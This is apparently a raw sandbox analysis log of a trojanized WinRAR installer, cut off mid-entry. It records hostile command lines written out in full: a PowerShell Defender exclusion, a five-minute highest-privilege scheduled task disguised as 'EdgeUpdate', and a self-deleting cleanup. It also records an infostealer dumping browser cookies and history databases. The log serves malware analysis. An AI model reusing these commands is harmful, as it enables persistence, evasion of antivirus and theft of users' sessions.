"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135] "winrar-x64-710.exe" failed to load missing module " nul & del /f /q "%WINDIR%\EdgeUpdate\test.exe" & rmdir "%WINDIR%\EdgeUpdate"" [Source: 00000000-00004284-00000C46-1888425185] Observed system executable string:"%WINDIR%\system32\schtasks.exe" [Source: 00000000-00006900-00000C47-285507978] Observed system executable string:"schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\EdgeUpdate\MicrosoftEdgeSecurity.exe" /sc minute /mo 5 /f /rl highest" [Source: 00000000-00006900-00000C47-285507978] Observed system executable string:"%WINDIR%\System32\schtasks.exe" [Source: 00000000-00006900-00000BC0-594434767] Observed system executable string:"%WINDIR%\system32\timeout.exe" [Source: 00000000-00007072-00000C47-502478660] Observed system executable string:"-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%WINDIR%\EdgeUpdate\\test.exe'"" [Source: powershell.exe] Observed system executable string:"/c schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\EdgeUpdate\MicrosoftEdgeSecurity.exe" /sc minute /mo 5 /f /rl highest" [Source: cmd.exe] Observed system executable string:"/c timeout /t 3 /nobreak > nul & del /f /q "%WINDIR%\EdgeUpdate\test.exe" & rmdir "%WINDIR%\EdgeUpdate"" [Source: cmd.exe]43:T104b,Process "powershell.exe" (UID: 00000000-00007200) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "powershell.exe" (UID: 00000000-00007200) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "uninstall.exe" (UID: 00000000-00007752) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", sfxcmd="C:\winrar-x64-710.exe", sfxname="C:\winrar-x64-710.exe", FPS_BROWSER_USER_PROFILE_STRING="Default", sfxstime="2026-09-24-06-12-00-459"" Process "uninstall.exe" (UID: 00000000-00007752) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "uninstall.exe" (UID: 00000000-00007752) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "powershell.exe" (UID: 00000000-00004404) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "powershell.exe" (UID: 00000000-00004404) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "powershell.exe" (UID: 00000000-00004404) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, sfxcmd, sfxname, FPS_BROWSER_USER_PROFILE_STRING, sfxstime" Process "powershell.exe" (UID: 00000000-00004972) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "cmd.exe" (UID: 00000000-00006900) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "cmd.exe" (UID: 00000000-00006900) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "schtasks.exe" (UID: 00000000-00007296) was launched with new environment variables: "PROMPT="$P$G"" Process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00006508) was launched with missing environment variables: "PROMPT" Process "timeout.exe" (UID: 00000000-00007632) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, PROCESSOR_ARCHITECTURE, PSModulePath, SystemDrive, OneDrive, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), Path, PATHEXT, OS, NVM_HOME, PROCESSOR_REVISION, ProgramData, ProgramW6432, SystemRoot, TEMP, USERPROFILE, TMP, ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir" Process "msedge.exe" (UID: 00000000-00007560) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", LOGONSERVER="\\DESKTOP-FVVF82A", SESSIONNAME="Console", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", OneDrive="%USERPROFILE%\OneDrive", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%NVM_HOME%;%NVM_SYMLINK%;%APPDATA%\nvm;C:\Program Files\nodejs", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", OS="Windows_NT", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", SystemRoot="C:\WINDOWS", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="8"" Process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00004064) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", USERDOMAIN="w5DXyOg8WHdn2H8", SystemDrive="C:", USERNAME="B37Iofo", TEMP="%LOCALAPPDATA%\Temp", USERPROFILE="C:\Users\B37Iofo", TMP="%LOCALAPPDATA%\Temp", windir="C:\WINDOWS"" Process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00004064) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00004064) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING"44:T62a,"winrarx64-setup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "winrarx64-setup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "winrarx64-setup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "winrarx64-setup.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "winrar-x64-710.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "winrar-x64-710.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "winrar-x64-710.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "uninstall.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "uninstall.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")45:Td40,Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00007012-00000C2B-540216778] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00007012-00000C2B-540231492] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00007012-00000C2B-540252581] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00007012-00000C2B-540376508] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00007012-00000C2B-540399611] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00007012-00000C2B-540420460] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00007012-00000C2B-540431679] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00007012-00000C2B-540450443] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00007012-00000C2B-540468929] Observed system executable string:"%WINDIR%\system32\NTMARTA.dll" [Source: 00000000-00007012-00000C2B-540486379] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00007012-00000C2B-540501129] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00007012-00000C2B-540515315] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007200-00000C2B-541848378] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007200-00000C2B-542056884] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007200-00000C2B-542121199] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007200-00000C2B-542160153] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007200-00000C2B-542542579] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007200-00000C2B-542575653] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007200-00000C2B-542600039] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007200-00000C2B-542648639] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007200-00000C2B-542847526] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007200-00000C2B-542866395] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007200-00000C2B-543139679] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00007200-00000C2B-543184618] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007200-00000C2B-543313836]46:T724,Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference ..." (UID: 00000000-00007200), Spawned process "winrar-x64-710.exe" (UID: 00000000-00007996), Spawned process "uninstall.exe" with commandline "/setup" (UID: 00000000-00007752), Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference ..." (UID: 00000000-00004404) Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference ..." (UID: 00000000-00004972), Spawned process "test.exe" with commandline "%WINDIR%\\EdgeUpdate\\\\test.exe" (UID: 00000000-00004284), Spawned process "cmd.exe" with commandline "/c schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\\EdgeUpdate\\ ..." (UID: 00000000-00006900) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\\EdgeUpdate\\Mi ..." (UID: 00000000-00007296), Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00006508), Spawned process "cmd.exe" with commandline "/c timeout /t 3 /nobreak > nul & del /f /q "%WINDIR%\\EdgeUpdate ..." (UID: 00000000-00007072) Spawned process "timeout.exe" with commandline "timeout /t 3 /nobreak" (UID: 00000000-00007632) Spawned process "msedge.exe" with commandline "--user-data-dir="%TEMP%\\abdv2_lu" --no-first-run" (UID: 00000000-00007560) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00004064) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00003892) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00007356) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00006780) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00005916) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00007660)47:T724,Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference ..." (UID: 00000000-00007200), Spawned process "winrar-x64-710.exe" (UID: 00000000-00007996), Spawned process "uninstall.exe" with commandline "/setup" (UID: 00000000-00007752), Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference ..." (UID: 00000000-00004404) Spawned process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference ..." (UID: 00000000-00004972), Spawned process "test.exe" with commandline "%WINDIR%\\EdgeUpdate\\\\test.exe" (UID: 00000000-00004284), Spawned process "cmd.exe" with commandline "/c schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\\EdgeUpdate\\ ..." (UID: 00000000-00006900) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "EdgeUpdate" /tr "%WINDIR%\\EdgeUpdate\\Mi ..." (UID: 00000000-00007296), Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00006508), Spawned process "cmd.exe" with commandline "/c timeout /t 3 /nobreak > nul & del /f /q "%WINDIR%\\EdgeUpdate ..." (UID: 00000000-00007072) Spawned process "timeout.exe" with commandline "timeout /t 3 /nobreak" (UID: 00000000-00007632) Spawned process "msedge.exe" with commandline "--user-data-dir="%TEMP%\\abdv2_lu" --no-first-run" (UID: 00000000-00007560) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00004064) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00003892) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00007356) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00006780) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00005916) Spawned process "MicrosoftEdgeSecurity.exe" (UID: 00000000-00007660)48:T7c6,"winrarx64-setup.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\nsExec.dll" "winrarx64-setup.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\INetC.dll" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_h3h0kntp.do0.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_t0nsvuxq.m0m.psm1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_nqgob0zy.3ln.ps1" "powershell.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_g3kkuv3a.wnm.psm1" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\672593CE378F4294869F371DA50F9123_places.db" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\9D6952A937394320AB845FCB4BD46AC3_places_bk.db" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_FileGrabber\data\Downloads\desktop.ini" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\adnxs.com.txt" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\bing.com.txt" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\clarity.ms.txt" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\linkedin.com.txt" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\microsoft.com.txt" "MicrosoftEdgeSecurity.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\msn.com.txt"49:T3d43,"winrar-x64-710.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 7 sections"- Location: [C:\winrar-x64-710.exe]- [targetUID: 00000000-00007012] "WinRAR.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%PROGRAMFILES%\WinRAR\WinRAR.exe]- [targetUID: 00000000-00007996] "Rar.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\Rar.exe]- [targetUID: 00000000-00007996] "RarExt.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\RarExt.dll]- [targetUID: 00000000-00007996] "UnRAR.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\UnRAR.exe]- [targetUID: 00000000-00007996] "RarExt32.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\WinRAR\RarExt32.dll]- [targetUID: 00000000-00007996] "Uninstall.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\Uninstall.exe]- [targetUID: 00000000-00007996] "WinRAR.chm" has type "MS Windows HtmlHelp Data"- Location: [%PROGRAMFILES%\WinRAR\WinRAR.chm]- [targetUID: 00000000-00007996] "7zxa.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\7zxa.dll]- [targetUID: 00000000-00007996] "RarExtInstaller.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\RarExtInstaller.exe]- [targetUID: 00000000-00007996] "INetC.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nso98E5.tmp\INetC.dll]- [targetUID: 00000000-00007012] "nsExec.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nso98E5.tmp\nsExec.dll]- [targetUID: 00000000-00007012] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00004404] "msn.com.txt" has type "ASCII text with very long lines (397)"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\msn.com.txt]- [targetUID: 00000000-00006508] "What is new in the latest version.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Wed Feb 12 13:59:04 2025 length=53523 window=normal IDListSize 0x0175 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WhatsNew.txt""- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\WinRAR\What is new in the latest version.lnk]- [targetUID: 00000000-00007752] "WinRAR help.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:01 2026 atime=Thu Sep 24 13:19:01 2026 mtime=Wed Feb 12 14:02:47 2025 length=331948 window=normal IDListSize 0x016f Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WinRAR.chm""- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\WinRAR\WinRAR help.lnk]- [targetUID: 00000000-00007752] "WinRAR.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Wed Feb 12 14:03:00 2025 length=3311760 window=normal IDListSize 0x016f Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WinRAR.exe""- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\WinRAR\WinRAR.lnk]- [targetUID: 00000000-00007752] "What is new in the latest version.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Wed Feb 12 13:59:04 2025 length=53523 window=normal IDListSize 0x0175 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WhatsNew.txt""- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\WinRAR\What is new in the latest version.lnk]- [targetUID: 00000000-00007752] "WinRAR.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Wed Feb 12 14:03:00 2025 length=3311760 window=normal IDListSize 0x016f Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WinRAR.exe""- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\WinRAR\WinRAR.lnk]- [targetUID: 00000000-00007752] "WinRAR help.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:01 2026 atime=Thu Sep 24 13:19:01 2026 mtime=Wed Feb 12 14:02:47 2025 length=331948 window=normal IDListSize 0x016f Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\WinRAR.chm""- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\WinRAR\WinRAR help.lnk]- [targetUID: 00000000-00007752] "Console RAR manual.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Sun Jan 5 12:16:29 2025 length=111710 window=normal IDListSize 0x0165 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\Rar.txt""- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\WinRAR\Console RAR manual.lnk]- [targetUID: 00000000-00007752] "Console RAR manual.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Description string Has Relative path Has Working directory Unicoded MachineID w5dxyog8whdn2h8 KnownFolderID 905E63B6-C1BF-494E-B29C-65B732D3D21A Archive NeedIndexed ctime=Thu Sep 24 13:19:00 2026 atime=Thu Sep 24 13:19:00 2026 mtime=Sun Jan 5 12:16:29 2025 length=111710 window=normal IDListSize 0x0165 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files\WinRAR\Rar.txt""- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\WinRAR\Console RAR manual.lnk]- [targetUID: 00000000-00007752] "microsoft.com.txt" has type "ASCII text"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\microsoft.com.txt]- [targetUID: 00000000-00006508] "google.com.txt" has type "ASCII text with very long lines (323)"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\cookies\google.com.txt]- [targetUID: 00000000-00006508] "adnxs.com.txt" has type "ASCII text"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\adnxs.com.txt]- [targetUID: 00000000-00006508] "bing.com.txt" has type "ASCII text"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\bing.com.txt]- [targetUID: 00000000-00006508] "linkedin.com.txt" has type "ASCII text"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\linkedin.com.txt]- [targetUID: 00000000-00006508] "scorecardresearch.com.txt" has type "ASCII text"- Location: [%TEMP%\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\scorecardresearch.com.txt]- [targetUID: 00000000-00006508] "9D6952A937394320AB845FCB4BD46AC3_places_bk.db" has type "SQLite 3.x database user version 52 (0x34) last written using SQLite version 3025001 page size 32768 writer version 2 read version 2 file counter 5 database pages 39 cookie 0x21 schema 4 UTF-8 version-valid-for 5"- Location: [%TEMP%\9D6952A937394320AB845FCB4BD46AC3_places_bk.db]- [targetUID: 00000000-00006508] "8A0E88135E734B7BAF3207F0B166A40A_ff_cookies.db" has type "SQLite 